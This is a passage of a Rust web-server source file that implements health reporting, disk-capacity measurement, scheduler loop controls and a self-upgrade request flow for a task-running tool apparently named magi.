2658                    &format!("auto-upgrade: config unavailable: {e:#}"),
2659                );
2660                tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
2661                continue;
2662            }
2663        };
2664        if should_spawn_recheck(&cfg.update)
2665            && let Some(checker) = updater::Checker::new(&cfg.update)
2666        {
2667            let progress = updater::read_progress(&ui.home);
2668            let mut latest = checker.cached_update();
2669            if update_recheck_due(&checker, progress.as_ref()) {
2670                match checker.newer_release().await {
2671                    Ok(found) => latest = found,
2672                    Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2673                }
2674            }
2675            if cfg.update.auto_restart
2676                && let Some(latest) = latest
2677            {
2678                let response =
2679                    begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2680                updater::log_step(
2681                    &ui.home,
2682                    &format!("auto-upgrade: request status {}", response.status()),
2683                );
2684            }
2685        }
2686        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2687    }
2688}
2689
2690/// [`UpdateView`] from the same throttled, disk-only state
2691/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2692/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2693/// no cached state at all, which is correct: an operator who turned checking
2694/// off gets no opinion, not a stale one.
2695fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2696    let default;
2697    let cfg = match cfg {
2698        Some(cfg) => cfg,
2699        None => {
2700            default = Config::default();
2701            &default
2702        }
2703    };
2704    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2705    match latest {
2706        Some(latest) => UpdateView {
2707            available: true,
2708            to: Some(latest.tag_name),
2709        },
2710        None => UpdateView {
2711            available: false,
2712            to: None,
2713        },
2714    }
2715}
2716
2717/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2718/// from the parked run's own state when the stage is
2719/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2720/// already on disk in `run.json`, so this reads them fresh rather than
2721/// trusting whatever was true the moment the park was requested.
2722fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2723    let now = Timestamp::now();
2724    let lease = updater::read_lease(&ui.home);
2725    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2726    let run_id = alive
2727        .and_then(|l| l.parked_run.as_deref())
2728        .or(progress.parked_run.as_deref());
2729    let parking = progress.stage == updater::Stage::Parking;
2730    let waited = alive.map_or_else(String::new, |l| {
2731        let secs = updater::waited_secs(l, now);
2732        format!(" (waited {} min so far)", secs / 60)
2733    });
2734    let run_text = run_id
2735        .filter(|_| parking)
2736        .map(|id| match read_run(&ui.runs, id).ok() {
2737            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2738            None => format!("run {id} is finishing"),
2739        });
2740    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2741        .filter(|t| parking && !t.is_empty())
2742        .map(|t| format!("{t} finishing"));
2743    let waiting_on = match (run_text, talks_text) {
2744        (None, None) => None,
2745        (run, talks) => {
2746            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2747            Some(format!(
2748                "{} before the address is handed over{waited}",
2749                parts.join(" and ")
2750            ))
2751        }
2752    };
2753    let detail = progress
2754        .detail
2755        .clone()
2756        .or_else(|| updater::read_note(&ui.home, &progress));
2757    let stalled = updater::stall(&progress, lease.as_ref(), now);
2758    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2759    UpgradeProgressView {
2760        trigger: progress.trigger,
2761        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2762        stuck_kind: stalled.map(|s| s.kind),
2763        handover_alive: alive.is_some(),
2764        stage: progress.stage,
2765        from: progress.from,
2766        to: progress.to,
2767        waiting_on,
2768        started_at: progress.started_at,
2769        updated_at: progress.updated_at,
2770        detail,
2771    }
2772}
2773
2774/// Last successful capacity observations, independent of admission/cleanup.
2775/// Cold or unavailable directory measurements are null, never invented zeros.
2776#[derive(Debug, Serialize)]
2777struct DiskView {
2778    /// Free bytes on the volume holding the runs, when measurable.
2779    #[serde(skip_serializing_if = "Option::is_none")]
2780    free_bytes: Option<u64>,
2781    /// Everything the runs directory occupies, when fully measurable.
2782    runs_bytes: Option<u64>,
2783    /// Everything the runs' worktrees occupy.
2784    worktrees_bytes: Option<u64>,
2785    /// The shared build cache's size, when the config names one.
2786    #[serde(skip_serializing_if = "Option::is_none")]
2787    cache_bytes: Option<u64>,
2788    /// Last bounded cleanup report, including retention and failure reasons.
2789    retention: Option<crate::retention::Report>,
2790}
2791
2792/// Capacity walks have their own demand-driven single flight, not the revision
2793/// worker: a large build cache must never delay revisions or a health response.
2794const DISK_REFRESH: Duration = Duration::from_secs(60);
2795
2796#[derive(Debug, Clone, PartialEq, Eq)]
2797struct DiskScope {
2798    runs: PathBuf,
2799    worktrees: PathBuf,
2800    cache: Option<PathBuf>,
2801}
2802
2803impl DiskScope {
2804    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2805        Self {
2806            runs: ui.runs.clone(),
2807            worktrees: ui.worktrees_root.clone(),
2808            cache: cfg.and_then(Config::cache_dir),
2809        }
2810    }
2811}
2812
2813#[derive(Debug, Clone, Copy, Default)]
2814struct DiskCapacity {
2815    free_bytes: Option<u64>,
2816    runs_bytes: Option<u64>,
2817    worktrees_bytes: Option<u64>,
2818    cache_bytes: Option<u64>,
2819}
2820
2821impl DiskCapacity {
2822    fn measure(scope: &DiskScope) -> Self {
2823        Self {
2824            free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2825            runs_bytes: disk_capacity_size(&scope.runs),
2826            worktrees_bytes: disk_capacity_size(&scope.worktrees),
2827            cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2828        }
2829    }
2830
2831    fn retain_successes(&mut self, next: Self) {
2832        self.free_bytes = next.free_bytes.or(self.free_bytes);
2833        self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2834        self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2835        self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2836    }
2837}
2838
2839/// Like disk::dir_size, do not follow links. Unlike its admission-oriented
2840/// best-effort total, an incomplete observation must not look like an empty tree.
2841fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2842    let metadata = match std::fs::symlink_metadata(path) {
2843        Ok(metadata) => metadata,
2844        Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2845        Err(_) => return None,
2846    };
2847    if !metadata.is_dir() {
2848        return Some(if metadata.is_file() {
2849            metadata.len()
2850        } else {
2851            0
2852        });
2853    }
2854    let mut total = 0;
2855    let mut stack = vec![path.to_owned()];
2856    while let Some(dir) = stack.pop() {
2857        for entry in std::fs::read_dir(dir).ok()? {
2858            let entry = entry.ok()?;
2859            let metadata = entry.metadata().ok()?;
2860            if metadata.is_dir() {
2861                stack.push(entry.path());
2862            } else if metadata.is_file() {
2863                total += metadata.len();
2864            }
2865        }
2866    }
2867    Some(total)
2868}
2869
2870#[derive(Debug, Default)]
2871struct DiskObservation {
2872    scope: Option<DiskScope>,
2873    capacity: DiskCapacity,
2874    in_flight: bool,
2875    finished: Option<std::time::Instant>,
2876}
2877
2878impl DiskObservation {
2879    fn observe(
2880        state: &Arc<Mutex<Self>>,
2881        scope: DiskScope,
2882        measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2883    ) -> DiskCapacity {
2884        let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2885        if observation.scope.as_ref() != Some(&scope) {
2886            observation.scope = Some(scope.clone());
2887            observation.capacity = DiskCapacity::default();
2888            observation.finished = None;
2889        }
2890        let capacity = observation.capacity;
2891        if observation.in_flight
2892            || observation
2893                .finished
2894                .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2895        {
2896            return capacity;
2897        }
2898        observation.in_flight = true;
2899        drop(observation);
2900
2901        let refresh = DiskRefresh {
2902            state: Arc::clone(state),
2903            scope,
2904        };
2905        tokio::task::spawn_blocking(move || {
2906            let next = measure(&refresh.scope);
2907            let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2908            if observation.scope.as_ref() == Some(&refresh.scope) {
2909                observation.capacity.retain_successes(next);
2910            }
2911            drop(observation);
2912            // The guard also clears the flight on panic or a cancelled,
2913            // not-yet-started blocking job. No failed scan can wedge health.
2914            drop(refresh);
2915        });
2916        capacity
2917    }
2918}
2919
2920struct DiskRefresh {
2921    state: Arc<Mutex<DiskObservation>>,
2922    scope: DiskScope,
2923}
2924
2925impl Drop for DiskRefresh {
2926    fn drop(&mut self) {
2927        let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2928        observation.in_flight = false;
2929        if observation.scope.as_ref() == Some(&self.scope) {
2930            // Wait a full period after completion, including failed scans.
2931            observation.finished = Some(std::time::Instant::now());
2932        }
2933    }
2934}
2935
2936impl DiskView {
2937    /// Return immediately, retaining known capacity while one worker refreshes.
2938    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2939        let capacity = DiskObservation::observe(
2940            &ui.monitor.disk,
2941            DiskScope::of(ui, cfg),
2942            DiskCapacity::measure,
2943        );
2944        Self::with_capacity(ui, capacity)
2945    }
2946
2947    fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
2948        Self {
2949            free_bytes: crate::disk::free_bytes(&ui.runs)
2950                .ok()
2951                .or(capacity.free_bytes),
2952            runs_bytes: capacity.runs_bytes,
2953            worktrees_bytes: capacity.worktrees_bytes,
2954            cache_bytes: capacity.cache_bytes,
2955            retention: ui
2956                .runs
2957                .parent()
2958                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2959                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2960        }
2961    }
2962}
2963
2964/// The daemon's state as the UI presents it.
2965#[derive(Debug, Serialize)]
2966struct DaemonView {
2967    running: bool,
2968    idle: Option<bool>,
2969    dispatch_wait: Option<daemon::DispatchWait>,
2970    pid: Option<u32>,
2971    /// Every task and run currently in flight. Empty when idle; more than
2972    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2973    /// run going at once.
2974    current: Vec<daemon::Current>,
2975    completed: Option<u64>,
2976    stale_for_secs: Option<i64>,
2977}
2978
2979impl DaemonView {
2980    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2981    /// not this UI's — a crashed daemon must not look alive here while
2982    /// `doctor` calls it dead.
2983    fn of(status: Option<daemon::Reading>) -> Self {
2984        let Some(status) = status else {
2985            return Self {
2986                running: false,
2987                idle: None,
2988                dispatch_wait: None,
2989                pid: None,
2990                current: Vec::new(),
2991                completed: None,
2992                stale_for_secs: None,
2993            };
2994        };
2995        let now = Timestamp::now();
2996        let age = status.age_secs(now);
2997        Self {
2998            running: status.running(now),
2999            idle: Some(status.idle),
3000            dispatch_wait: status.dispatch_wait,
3001            pid: status.pid,
3002            current: status.current,
3003            completed: Some(status.completed),
3004            stale_for_secs: age,
3005        }
3006    }
3007}
3008
3009// Discover display configuration off the request path. Capacity measurement
3010// retains its separate single flight and scope/failure handling below.
3011fn refresh_health_config(ui: &Arc<Ui>) {
3012    let mut cache = ui
3013        .monitor
3014        .disk_cache
3015        .lock()
3016        .unwrap_or_else(PoisonError::into_inner);
3017    if cache.loading
3018        || cache
3019            .measured
3020            .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3021    {
3022        return;
3023    }
3024    cache.loading = true;
3025    let weak = Arc::downgrade(ui);
3026    std::thread::spawn(move || {
3027        let Some(ui) = weak.upgrade() else { return };
3028        let cfg = deputy_config(&ui.repo);
3029        let update = cached_update_view(cfg.as_ref());
3030        let mut cache = ui
3031            .monitor
3032            .disk_cache
3033            .lock()
3034            .unwrap_or_else(PoisonError::into_inner);
3035        cache.config = cfg;
3036        cache.update = Some(update);
3037        cache.measured = Some(std::time::Instant::now());
3038        cache.loading = false;
3039    });
3040}
3041
3042fn health_counts(
3043    ui: &Ui,
3044    fallback_questions_rev: u64,
3045) -> ApiResult<(usize, usize, usize, u64, usize)> {
3046    let mut index = ui
3047        .monitor
3048        .health_index
3049        .lock()
3050        .unwrap_or_else(PoisonError::into_inner);
3051    let ids = run_ids(&ui.runs);
3052    let seen: HashSet<_> = ids.iter().cloned().collect();
3053    index.runs.retain(|id, _| seen.contains(id));
3054    let mut unreadable = 0;
3055    for id in ids {
3056        // Recheck identity on every request, including atomic replacements
3057        // with preserved length/mtime. A failed stat is never cached as good.
3058        let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3059        let bad = match identity {
3060            Ok(identity) => {
3061                if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3062                    let bad = read_run(&ui.runs, &id).is_err();
3063                    index.runs.insert(id.clone(), (identity, bad));
3064                    #[cfg(test)]
3065                    {
3066                        index.run_parses += 1;
3067                    }
3068                }
3069                index.runs[&id].1
3070            }
3071            Err(_) => true,
3072        };
3073        unreadable += usize::from(bad);
3074    }
3075    let questions_rev = try_stamps(ui.questions.root(), false, true)
3076        .map(|stamps| stamps_revision(&stamps))
3077        .unwrap_or(fallback_questions_rev);
3078    if index.questions.as_ref().is_none_or(|counts| {
3079        counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3080    }) {
3081        let questions = ui.questions.list();
3082        index.questions = Some(QuestionCounts {
3083            revision: questions_rev,
3084            measured: std::time::Instant::now(),
3085            open: questions.iter().filter(|q| q.status.open()).count(),
3086            owner: questions
3087                .iter()
3088                .filter(|q| {
3089                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3090                })
3091                .count(),
3092        });
3093    }
3094    let notifications_rev =
3095        stamps_revision(&notice_and_decision_stamps(ui).map_err(anyhow::Error::from)?);
3096    if index
3097        .notices
3098        .is_none_or(|(rev, _)| rev != notifications_rev)
3099    {
3100        index.notices = Some((notifications_rev, ui.notices.count_unread()));
3101    }
3102    let questions = index.questions.as_ref().unwrap();
3103    Ok((
3104        unreadable,
3105        questions.open,
3106        questions.owner,
3107        notifications_rev,
3108        index.notices.unwrap().1,
3109    ))
3110}
3111
3112async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3113    let revisions = ui.monitor.revisions(&ui).await?;
3114    refresh_health_config(&ui);
3115    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3116        // One read of the status file for the two fields that describe it, so
3117        // `daemon` and `loop` in the same answer cannot disagree about who is
3118        // running the loop.
3119        let reading = daemon::read_status(&ui.home);
3120        // Read on its own line, not inside the literal below: the loop's lock
3121        // is not reentrant, and a guard taken as a temporary there would still
3122        // be held when `loop_view` took it again.
3123        let loop_rev = ui.lock_loop().rev;
3124        let (
3125            runs_unreadable,
3126            questions_open,
3127            questions_needs_owner,
3128            notifications_rev,
3129            notifications_unread,
3130        ) = health_counts(&ui, revisions.2)?;
3131        let ((cfg, config_observed, sizes, measured), update) = {
3132            let cache = ui
3133                .monitor
3134                .disk_cache
3135                .lock()
3136                .unwrap_or_else(PoisonError::into_inner);
3137            (
3138                (
3139                    cache.config.clone(),
3140                    cache.measured.is_some(),
3141                    cache.disk.clone(),
3142                    cache.measured,
3143                ),
3144                cache.update.clone().unwrap_or(UpdateView {
3145                    available: false,
3146                    to: None,
3147                }),
3148            )
3149        };
3150        // Retain the base's capacity observation independently of config
3151        // refreshes. A cold config read may still be pending; an existing
3152        // capacity flight must remain visible to concurrent health requests.
3153        let prior_capacity = {
3154            let mut observation = ui
3155                .monitor
3156                .disk
3157                .lock()
3158                .unwrap_or_else(PoisonError::into_inner);
3159            // Adopt a completed size snapshot only before the scoped capacity
3160            // observer has started. Later scope changes remain its authority.
3161            if observation.scope.is_none()
3162                && let Some(sizes) = sizes
3163            {
3164                observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3165                observation.capacity = DiskCapacity {
3166                    runs_bytes: Some(sizes.runs),
3167                    worktrees_bytes: Some(sizes.worktrees),
3168                    cache_bytes: sizes.cache,
3169                    free_bytes: None,
3170                };
3171                observation.finished = measured;
3172            }
3173            observation.scope.as_ref().map(|_| observation.capacity)
3174        };
3175        let disk = if config_observed {
3176            serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3177        } else {
3178            serde_json::to_value(DiskView::with_capacity(
3179                &ui,
3180                prior_capacity.unwrap_or_default(),
3181            ))
3182            .ok()
3183        };
3184        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3185        let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3186        #[cfg(not(test))]
3187        let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3188        #[cfg(test)]
3189        let looping = ui.loop_view(reading.clone());
3190        Ok(Json(HealthView {
3191            jobs: jobs.into_iter().map(WorkerView::from).collect(),
3192            version: env!("CARGO_PKG_VERSION"),
3193            home: ui.home.display().to_string(),
3194            queue_rev: revisions.0,
3195            runs_rev: revisions.1,
3196            questions_rev: revisions.2,
3197            talks_rev: revisions.3,
3198            notifications_rev,
3199            notifications_unread,
3200            loop_rev,
3201            runs_unreadable,
3202            questions_open,
3203            questions_needs_owner,
3204            daemon: DaemonView::of(reading.clone()),
3205            looping,
3206            disk,
3207            update,
3208            upgrade,
3209            upgrade_request_error: ui
3210                .upgrade_request_error
3211                .lock()
3212                .unwrap_or_else(PoisonError::into_inner)
3213                .clone(),
3214        }))
3215    })
3216    .await
3217}
3218
3219/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
3220#[derive(Debug, Serialize)]
3221struct LoopView {
3222    /// A scheduler is running, independently of this web process.
3223    running: bool,
3224    /// The scheduler has been asked to stop scheduling new work.
3225    stopping: bool,
3226    /// An explicit operator park was requested, independently from updates.
3227    parking: bool,
3228    /// This scheduler supports durable controls from any web generation.
3229    owned: bool,
3230    /// Repository the loop uses for tasks that name none - what it was
3231    /// started with while it runs, and what a start would use before that.
3232    repo: String,
3233    /// Merge mode override in force, or `null` when each repository's own
3234    /// config decides.
3235    merge: Option<String>,
3236    /// Why the last loop in this process ended, when it ended badly.
3237    ///
3238    /// The only place a crashed loop is visible to someone holding a phone.
3239    /// It is logged at error level as well, but a terminal nobody kept open
3240    /// is not a report, and a loop that died at 3am must not read as merely
3241    /// stopped in the morning. Named as [`Task::last_error`] is, because it
3242    /// answers the same question about the same kind of failure.
3243    last_error: Option<String>,
3244    /// The status file, judged the same way `/api/health` judges it: this is
3245    /// what says whether a loop is alive in some *other* process.
3246    daemon: DaemonView,
3247}
3248
3249/// A legacy embedded scheduler that this web process cannot control.
3250///
3251/// Worker-protocol schedulers use durable controls regardless of which process
3252/// started them. Older schedulers are identified by their foreign heartbeat.
3253#[derive(Debug, Clone, Copy)]
3254struct Foreign {
3255    /// The pid the other process published, when it published one.
3256    pid: Option<u32>,
3257}
3258
3259impl Foreign {
3260    /// Another process's live loop, or `None` when this process is free to
3261    /// run one.
3262    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3263        // A fresh heartbeat with no pid in it is still evidence of a live
3264        // daemon. "Some other process" is the honest answer, and refusing
3265        // to start beside it is the safe one.
3266        if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3267            return None;
3268        }
3269        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3270    }
3271
3272    /// How a conflict names it. The pid is the whole point of the message: it
3273    /// is what the operator needs to find the terminal that owns the loop.
3274    fn who(&self) -> String {
3275        match self.pid {
3276            Some(pid) => format!("another magi process (pid {pid})"),
3277            None => "another magi process".to_owned(),
3278        }
3279    }
3280}
3281
3282/// How a loop is started, as a future this module can hold onto.
3283///
3284/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
3285/// trait object or a hand-written `Debug` impl for the sake of one seam.
3286type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3287
3288#[cfg(test)]
3289type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3290
3291/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
3292#[cfg(test)]
3293fn launch_daemon(
3294    opts: daemon::Opts,
3295    stop: daemon::Stop,
3296) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3297    Box::pin(daemon::serve_until(opts, stop))
3298}
3299
3300/// Local web-control revisions and errors, plus the unit-test launch seam.
3301#[derive(Debug, Default)]
3302struct LoopState {
3303    /// The loop, while there is one.
3304    #[cfg(test)]
3305    live: Option<Live>,
3306    /// Local control changes streamed as `loop_rev`; actual scheduler and
3307    /// execution ownership comes from durable status and OS-held worker leases.
3308    rev: u64,
3309    /// Why the last loop ended, when it ended badly. See
3310    /// [`LoopView::last_error`].
3311    last_error: Option<String>,
3312}
3313
3314/// A loop in flight.
3315#[cfg(test)]
3316#[derive(Debug)]
3317struct Live {
3318    /// The cooperative stop, shared with the loop task.
3319    stop: daemon::Stop,
3320    /// The task itself, kept only to answer whether it is still there: a loop
3321    /// that panicked never records its own end, and without this the view
3322    /// would go on reporting a loop that no longer exists - the one lie that
3323    /// would leave the operator with no button to press.
3324    handle: tokio::task::JoinHandle<()>,
3325    /// What the loop was started with, so the view reports the repository and
3326    /// merge mode its runs will actually use rather than what an edit to the
3327    /// config since would give.
3328    opts: daemon::Opts,
3329}
3330
3331#[cfg(test)]
3332impl Live {
3333    /// Is the task still there? See [`Live::handle`].
3334    fn alive(&self) -> bool {
3335        !self.handle.is_finished()
3336    }
3337}
3338
3339/// Take the loop lock, recovering from a poisoned one.
3340///
3341/// What this mutex holds is a stop flag, a task handle and two counters, none
3342/// of which a panic elsewhere can leave in a state worth refusing to read.
3343/// Propagating the poison instead would mean an operator who can see the loop
3344/// running and can no longer stop it from the only surface they have.
3345fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3346    state.lock().unwrap_or_else(PoisonError::into_inner)
3347}
3348
3349/// `GET /api/loop`.
3350async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3351    blocking(move || {
3352        let reading = daemon::read_status(&ui.home);
3353        #[cfg(not(test))]
3354        let view = ui.try_loop_view(reading)?;
3355        #[cfg(test)]
3356        let view = ui.loop_view(reading);
3357        Ok(Json(view))
3358    })
3359    .await
3360}
3361
3362/// The body of `POST /api/loop`.
3363///
3364/// One required field and nothing else: no `default` and no unknown fields,
3365/// so a body that fails to say which way the switch was flipped is a 400
3366/// rather than a tap that quietly does the opposite of what was pressed.
3367#[derive(Debug, Deserialize)]
3368#[serde(deny_unknown_fields)]
3369struct LoopCommand {
3370    running: bool,
3371    /// Stop the run in flight at its next node boundary rather than letting it
3372    /// finish.
3373    ///
3374    /// Defaults to false, so the plain stop keeps meaning what it meant: a
3375    /// competition is tens of minutes of paid work and finishing it is
3376    /// normally the cheapest thing to do. A park is for the operator who
3377    /// wants the process gone now - to replace the binary, most of all - and
3378    /// it costs at most the node in progress because every node writes its
3379    /// state before the next one starts.
3380    #[serde(default)]
3381    park: bool,
3382}
3383
3384/// Start or control the detached scheduler without waiting for execution
3385/// workers. Only an explicit park asks workers to stop at a node boundary.
3386async fn loop_post(
3387    State(ui): State<Arc<Ui>>,
3388    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3389) -> ApiResult<Json<LoopView>> {
3390    // Taken as a `Result` so a malformed body is a 400 like every other route
3391    // here, rather than axum's default 422 that the UI has no branch for.
3392    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3393    #[cfg(not(test))]
3394    {
3395        if body.running {
3396            ui.start_detached_loop().await?;
3397        } else {
3398            let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3399            ui.stop_loop(foreign, body.park)?;
3400        }
3401        Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3402    }
3403    #[cfg(test)]
3404    {
3405        blocking(move || {
3406            let reading = daemon::read_status(&ui.home);
3407            let foreign = Foreign::of(reading.as_ref());
3408            if body.running {
3409                ui.start_loop(foreign)?;
3410            } else {
3411                ui.stop_loop(foreign, body.park)?;
3412            }
3413            Ok(Json(ui.loop_view(reading)))
3414        })
3415        .await
3416    }
3417}
3418
3419/// What `POST /api/upgrade` set in motion.
3420#[derive(Debug, Serialize)]
3421struct UpgradeView {
3422    /// The version this process is running.
3423    from: String,
3424    /// The release it is replacing itself with, when there is one.
3425    to: Option<String>,
3426    /// What the operator should expect to happen next.
3427    detail: String,
3428}
3429
3430/// The stage of an upgrade that is still moving, if the record says so.
3431/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3432fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3433    progress.filter(|p| !p.stage.terminal())
3434}
3435
3436/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3437/// Unknown diagnostics retain their complete message without guessing a delay.
3438fn upgrade_retry_after(message: &str) -> Option<u64> {
3439    if !message.contains("GitHub") || !message.contains("rate limit") {
3440        return None;
3441    }
3442    if message.contains("retry now") {
3443        return Some(0);
3444    }
3445    let duration = message
3446        .split_once("resets in ")
3447        .or_else(|| message.split_once("retry after "))?
3448        .1
3449        .split_once(')')?
3450        .0;
3451    let mut rest = duration.trim();
3452    if rest.is_empty() {
3453        return None;
3454    }
3455    let mut total = 0u64;
3456    while !rest.is_empty() {
3457        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3458        let amount: u64 = rest[..n].parse().ok()?;
3459        let scale = match rest[n..].chars().next()? {
3460            's' => 1,
3461            'm' => 60,
3462            'h' => 3600,
3463            'd' => 86400,
3464            _ => return None,
3465        };
3466        total = total.checked_add(amount.checked_mul(scale)?)?;
3467        rest = rest[n + 1..].trim_start();
3468    }
3469    Some(total)
3470}
3471
3472#[derive(Debug, Clone, Serialize)]
3473struct UpgradeRequestFailure {
3474    occurred_at: String,
3475    error: String,
3476    retry_after_secs: Option<u64>,
3477    /// Unix seconds; independent of the phone's polling cadence.
3478    retry_at: Option<u64>,
3479}
3480
3481impl UpgradeRequestFailure {
3482    fn new(error: String) -> Self {
3483        let retry_after_secs = upgrade_retry_after(&error);
3484        let now = std::time::SystemTime::now()
3485            .duration_since(std::time::UNIX_EPOCH)
3486            .unwrap_or_default()
3487            .as_secs();
3488        Self {
3489            occurred_at: jiff::Timestamp::now().to_string(),
3490            error,
3491            retry_after_secs,
3492            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3493        }
3494    }
3495}
3496
3497/// `POST /api/upgrade` - replace this binary with the newest release and come
3498/// back on it.
3499///
3500/// Replace the installed binary, restart the detached scheduler, release the
3501/// web listener, then start the successor. Active task and conversation
3502/// workers retain their immutable executable and continue without parking.
3503///
3504/// A legacy embedded scheduler is the only incompatible owner: its work
3505/// must finish or park before the first migration replaces its process.
3506///
3507/// Answers **202**: the reply has to reach the phone while this process can
3508/// still send one, and the phone learns the deck is back by reconnecting.
3509async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3510    begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3511}
3512
3513async fn begin_upgrade(
3514    ui: &Arc<Ui>,
3515    trigger: updater::UpgradeTrigger,
3516    latest: Option<kaishin::LatestRelease>,
3517) -> Response {
3518    let reading = daemon::read_status(&ui.home);
3519    if let Some(other) = Foreign::of(reading.as_ref()) {
3520        return ApiError::conflict(format!(
3521            "{} is a legacy scheduler without detached restart support. \
3522             Finish or explicitly park its work in the existing UI before \
3523             this first migration; independent schedulers do not need this.",
3524            other.who()
3525        ))
3526        .into_response();
3527    }
3528
3529    // A second upgrade while one is moving would replace the binary and
3530    // signal the handover again after `serve` already consumed the first
3531    // signal, leaving the process in `replaced` forever. Try-lock rather than
3532    // wait: a phone connection must not hang behind a GitHub round trip.
3533    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3534        return ApiError::conflict("another request is already preparing an upgrade")
3535            .into_response();
3536    };
3537    // Hold the same gate through recording/clearing the request outcome, so
3538    // an older response cannot overwrite a retry's result.
3539    if trigger == updater::UpgradeTrigger::Auto {
3540        let cfg = match Config::discover(&ui.repo, None) {
3541            Ok((cfg, _)) => cfg,
3542            Err(e) => {
3543                return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3544            }
3545        };
3546        let Some(latest) = latest else {
3547            return StatusCode::NO_CONTENT.into_response();
3548        };
3549        let in_motion = ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3550            || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some();
3551        let decision = {
3552            let failed = ui
3553                .auto_failed_tag
3554                .lock()
3555                .unwrap_or_else(PoisonError::into_inner);
3556            auto_upgrade_decision(
3557                &cfg.update,
3558                updater::disabled_by_env(),
3559                in_motion,
3560                &latest.tag_name,
3561                failed.as_deref(),
3562            )
3563        };
3564        if let AutoUpgradeDecision::Skip(reason) = decision {
3565            updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3566            return StatusCode::NO_CONTENT.into_response();
3567        }
3568        return finish_upgrade_request(
3569            ui,
3570            upgrade_checked_for(
3571                ui,
3572                env!("CARGO_PKG_VERSION").into(),
3573                Ok(Some(latest)),
3574                trigger,
3575            ),
3576        );
3577    }
3578    finish_upgrade_request(ui, upgrade_prepare(ui).await)
3579}
3580
3581fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3582    match result {
3583        Ok(out) => {
3584            *ui.upgrade_request_error
3585                .lock()
3586                .unwrap_or_else(PoisonError::into_inner) = None;
3587            out.into_response()
3588        }
3589        Err(error) if error.status != StatusCode::CONFLICT => {
3590            let failure = UpgradeRequestFailure::new(error.message);
3591            *ui.upgrade_request_error
3592                .lock()
